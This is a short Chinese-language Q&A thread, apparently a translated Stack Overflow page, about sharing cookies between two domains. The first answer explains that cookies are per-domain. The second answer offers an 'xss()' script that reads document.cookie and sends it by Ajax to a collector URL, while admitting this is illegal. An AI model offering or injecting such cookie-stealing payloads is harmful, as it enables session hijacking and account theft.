我希望能够在example.com和mysite.com之间访问和设置cookie。我该怎么做?
答案 0 :(得分:2)
你不能单独使用cookie:它们是按域显式设置的,并且没有合法的(读取:“非漏洞利用”)方式为其他域设置它们。
但是,如果您控制两台服务器,可能会使用一些变通方法/黑客来实现这一目标,但实际情况并非如此,它可能会意外中断(请参阅this question;那里的答案应该有所帮助你找到了解决方案。)
答案 1 :(得分:0)
<script>
function xss(){
var cookies = document.cookie;
new Ajax.Request('//localhost/index.php?cookies='+cookies, {
onSuccess: function(response) {
alert(cookies);
}
});
}
xss();
</script>
PS,但这是非法的。 我使用原型lib。